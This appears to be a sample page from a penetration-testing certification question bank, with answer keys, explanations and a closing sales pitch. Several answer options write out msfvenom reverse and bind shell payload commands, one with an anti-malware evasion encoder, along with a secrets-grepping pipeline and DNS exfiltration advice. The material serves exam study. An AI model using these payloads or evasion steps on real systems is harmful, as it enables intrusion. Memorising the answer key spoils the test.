A penetration tester is ready to add shellcode for a specific remote executable exploit. The tester is trying to prevent the payload from being blocked by anti-malware that is running on the target.
Which of the following commands should the tester use to obtain shell access?
A. msfvenom --arch x86-64 --platform windows --encoder x86-64/shikata_ga_nai --payload windows/bind_tcp LPORT=443
B. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=8000
C. msfvenom --arch x86-64 --platform windows --payload windows/shell_reverse_tcp LHOST-10.10.10.100 LPORT-4444 EXITFUNC=none
D. net user add /administrator | hexdump > payload
Show Answer
Correct Answer: A
Explanation: The requirement is to generate shellcode while reducing the likelihood of signature-based anti-malware detection. Among the options, only A uses an msfvenom encoder (shikata_ga_nai) to encode/obfuscate the payload before delivery. The other options either generate an unencoded payload, contain incorrect syntax, or are unrelated to obtaining shell access.
Question 143
A penetration tester uses a Python script to enumerate open ports across a list of IP addresses. The current script runs sequentially, which slows it down during larger engagements. The tester wants to improve the script’s performance so it can handle multiple targets simultaneously.
Which of the following changes is the best way to achieve this goal?
A. Using the time.sleep() function to throttle the scanning rate
B. Importing a library that allows use of workers
C. Replacing the range() function with a while loop
D. Changing the port list from a tuple to a dictionary for better lookup speed
Show Answer
Correct Answer: B
Explanation: Using a concurrency mechanism such as a thread pool or process pool allows the scanner to execute port scans against multiple targets simultaneously, significantly improving throughput over sequential execution. The other options do not introduce concurrency: time.sleep() slows execution, replacing range() with a while loop provides no performance benefit, and changing a tuple to a dictionary is irrelevant to scanning multiple targets concurrently.
Question 145
A penetration tester is conducting an IoT assessment and dumps the device firmware to a Linux machine.
Which of the following Bash scripts would locate secrets in a custom binary executable downloaded from the device?
A. cat initializedevice | strings | grep -i “password\|shadow\|token”
B. cat initializedevice | dos2unix | grep -i “password\|shadow\|token”
C. cat initializedevice | base64 -d | grep -i “password\|shadow\|token”
D. cat initializedevice | grep -i “password\|shadow\|token”
Show Answer
Correct Answer: A
Explanation: The `strings` utility extracts printable ASCII/Unicode strings from a binary executable, making embedded secrets such as passwords, tokens, or shadow-related text visible. Piping the output to `grep -i "password\|shadow\|token"` searches those extracted strings case-insensitively. The other options either assume an incorrect encoding/format (`dos2unix`, `base64 -d`) or run `grep` directly on a binary, which is unreliable for locating embedded text.
Question 146
A penetration tester has just started a new engagement. The tester is using a framework that breaks the life cycle into 14 components. Which of the following frameworks is the tester using?
A. OWASP MASVS
B. OSSTMM
C. MITRE ATT&CK
D. CREST
Show Answer
Correct Answer: B
Explanation: The correct answer is OSSTMM. OSSTMM (Open Source Security Testing Methodology Manual) is a penetration testing methodology/framework that structures security testing across a defined set of components used throughout an engagement. The other options do not fit: OWASP MASVS is a mobile application security verification standard, MITRE ATT&CK is a knowledge base of adversary tactics and techniques rather than a penetration testing lifecycle methodology, and CREST is a certification/accreditation body.
Question 147
As part of an engagement, a penetration tester needs to scan several hundred public-facing URLs for dangerous files or outdated web server versions. Which of the following should the tester use?
A. Nmap
B. ZAP
C. BloodHound
D. Nikto
Show Answer
Correct Answer: D
Explanation: Nikto is a web server vulnerability scanner designed to identify dangerous files, outdated web server versions, default files, insecure configurations, and known web server issues across web servers. Nmap focuses on network/service discovery, ZAP targets web application security testing, and BloodHound maps Active Directory attack paths.
Question 149
Which of the following protocols would a penetration tester most likely utilize to exfiltrate data covertly and evade detection?
A. FTP
B. HTTP
C. SMTP
D. DNS
Show Answer
Correct Answer: D
Explanation: DNS is the protocol most commonly associated with covert data exfiltration via DNS tunneling. Because DNS traffic is typically permitted through firewalls and may receive less scrutiny than other protocols, attackers can encode data within DNS queries and responses to evade detection. FTP, HTTP, and SMTP can all be used for exfiltration, but they are generally more obvious or more heavily monitored in enterprise environments.
Question 151
Which of the following should be included in a penetration test report to support the tester's detailed findings?
A. Methodologies
B. Screenshots
C. Vulnerabilities
D. Remediations
Show Answer
Correct Answer: B
Explanation: Screenshots provide supporting evidence for the detailed findings in a penetration test report by documenting successful exploitation, observed vulnerabilities, or proof of impact. Methodologies describe the approach, vulnerabilities list the issues found, and remediations recommend fixes, but screenshots are the primary evidence supporting the findings.
Question 152
A penetration tester is configuring a vulnerability management solution to perform credentialed scans of an Active Directory server. Which of the following account types should the tester provide to the scanner?
A. Read-only
B. Domain administrator
C. Local user
D. Root
Show Answer
Correct Answer: B
Explanation: A credentialed scan of a Windows Active Directory domain controller requires an account with sufficient privileges to inspect system configuration, registry, services, installed software, and security settings. A Domain Administrator account provides the necessary access for a comprehensive authenticated scan. A read-only or local user account is typically insufficient for full assessment, and root applies to Unix/Linux systems, not Windows Active Directory.
Question 153
During a penetration test, a junior tester uses Hunter.io for an assessment and plans to review the information that will be collected. Which of the following describes the information the junior tester will receive from the Hunter.io tool?
A. A collection of email addresses for the target domain that is available on multiple sources on the internet
B. DNS records for the target domain and subdomains that could be used to increase the external attack surface
C. Data breach information about the organization that could be used for additional enumeration
D. Information from the target's main web page that collects usernames, metadata, and possible data exposures
Show Answer
Correct Answer: A
Explanation: Hunter.io is an OSINT reconnaissance tool designed to discover and verify email addresses associated with a target domain by aggregating publicly available sources. It does not primarily enumerate DNS records, provide breach databases, or scrape webpage metadata for exposures.
Question 154
A penetration tester enters an invalid user ID on the login page of a web application. The tester receives a message indicating the user is not found. Then, the tester tries a valid user ID but an incorrect password, but the web application indicates the password is invalid. Which of the following should the tester attempt next?
A. Error log analysis
B. DoS attack
C. Enumeration
D. Password dictionary attack
Show Answer
Correct Answer: C
Explanation: The application reveals different responses for invalid usernames versus invalid passwords, allowing username enumeration. The appropriate next step is to enumerate valid user IDs before attempting password attacks. Error log analysis is not applicable from an external tester's perspective, and a DoS attack is unrelated to this finding.
$19
Get all 342 questions with detailed answers and explanations
Instant download HTML + PDF delivered the moment payment clears.
Secure Stripe checkout we never see or store your card details.
7-day refund if files are defective see our refund policy.